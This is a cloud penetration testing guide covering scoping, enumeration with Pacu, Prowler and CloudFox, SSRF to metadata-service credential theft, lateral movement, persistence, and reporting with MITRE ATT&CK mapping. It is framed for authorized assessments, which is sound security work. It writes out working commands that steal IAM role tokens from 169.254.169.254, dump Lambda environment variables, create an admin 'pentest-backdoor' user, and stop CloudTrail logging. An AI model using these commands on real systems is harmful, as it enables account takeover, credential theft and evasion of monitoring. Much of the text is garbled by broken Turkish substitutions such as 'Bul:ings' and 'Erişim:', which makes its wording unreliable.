Conducting Cloud Penetration Testing

Ne Zaman Kullanılır

• performing yaparken authorized security assessments of cloud environments before production Dağıt:ment
• validating yaparken cloud security controls after a major architectural change or migration
• compliance yaparken: requirements mandate annual penetration testing of cloud infrastructure
• testing yaparken incident response readiness by simulating realistic cloud-based attack scenarios
• assessing yaparken lateral movement risk across multi-account or multi-cloud environments

Kullanma: for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.

Ön Gereksinimler

• Written authorization from the cloud account owner and scope definition document
• AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)
• Isolated testing account or explicitly scoped production account with breakglass procedures
• Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox
• MITRE ATT&CK Cloud matrix for Bul:ing classification

İş Akışı

Adım 1: Define Scope and Rules of Engagement

Establish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.

Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20

IN SCOPE:
  - IAM users, roles, policies, and cross-account trust
  - EC2 instances, security groups, and network ACLs
  - S3 bucket policies and data access controls
  - Lambda functions, API Gateway endpoints
  - RDS/DynamoDB access controls and encryption
  - EKS cluster RBAC and network policies
  - CloudTrail, Config, and monitoring gaps

OUT OF SCOPE:
  - AWS managed service internals (RDS engine, Lambda runtime)
  - DDoS attacks or volumetric testing
  - Physical infrastructure or hypervisor attacks
  - Social engineering of AWS support

EMERGENCY CONTACT: security-ops@company.com, +1-555-0199

Adım 2: Reconnaissance and Cloud Enumeration

Use cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.

scout suite aws --profile target-account --report-dir ./scout-report

prowler aws -M json-ocsf -o ./prowler-output --profile target-account

cloudfox aws --profile target-account all-checks

for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
  aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done

aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
  --output table

Adım 3: IAM Privilege Escalation Testing

Use Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access.

pacu

set_keys --key-alias test-creds

run iam__enum_users_roles_policies_groups
run iam__enum_permissions

run iam__privesc_scan

Adım 4: SSRF to Cloud Metadata Service Exploitation

Test web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Adım 5: Lateral Movement and Data Access

Test cross-account role assumptions, VPC peering connections, and shared resource Erişim: map lateral movement opportunities.

aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table

aws sts assume-role \
  --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
  --role-session-name pentest-session

aws s3 ls --recursive s3://target-bucket/ --summarize

aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' --output json 2>/dev/null
done

Adım 6: Persistence and Tespit Evasion Testing

Test whether the organization's monitoring tespit etme (s) persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling.

aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws cloudtrail stop-logging --name management-trail


aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail

Adım 7: Report Bul:ings with MITRE ATT&CK Mapping

Document all Bul:ings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance.

Key Concepts

Term	Definition
Shared Responsibility Model	Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls
IMDS	Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access
Privilege Escalation	Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account
Lateral Movement	Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers
Pacu	Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence
ScoutSuite	Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk Bul:ings
MITRE ATT&CK Cloud	Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration

Tools & Systems

• Pacu: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing
• ScoutSuite: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection
• CloudFox: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities
• Prowler: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP
• Cartography: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis

Common Scenarios

Scenario: SSRF in Web Application Leads to Full Account Compromise

Context: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions.

Approach:

1. Exploit the SSRF to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
2. Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken)
3. Use the credentials to enumerate accessible S3 buckets and download sensitive data
4. Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin
5. Şunu belgele: full attack chain from SSRF to account-level compromise
6. Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier

Pitfalls: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement.

Output Format

Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement

EXECUTIVE SUMMARY:
  Starting with read-only developer credentials, the assessment achieved
  full administrative Erişim: the production account within 3 hours through
  an IAM privilege escalation chain. 47 Bul:ings identified across 7 ATT&CK tactics.

CRITICAL Bul:INGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
  ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
  Severity: CRITICAL
  Starting Point: Developer role with iam:CreatePolicyVersion permission
  Impact: Full administrative Erişim: all account resources
  Evidence: Created policy version granting iam:* and s3:* to test role
  Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary

[PT-002] SSRF to IMDS Credential Theft
  ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
  Severity: CRITICAL
  Starting Point: Web application URL parameter vulnerable to SSRF
  Impact: Extracted IAM role credentials with S3 and Lambda access
  Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope

Bul:ING SUMMARY BY MITRE ATT&CK TACTIC:
  Initial Access:       4 Bul:ings
  Execution:            3 Bul:ings
  Persistence:          6 Bul:ings
  Privilege Escalation: 8 Bul:ings (3 Critical)
  Defense Evasion:      5 Bul:ings
  Credential Access:    7 Bul:ings
  Discovery:           14 Bul:ings
  Total:               47 Bul:ings

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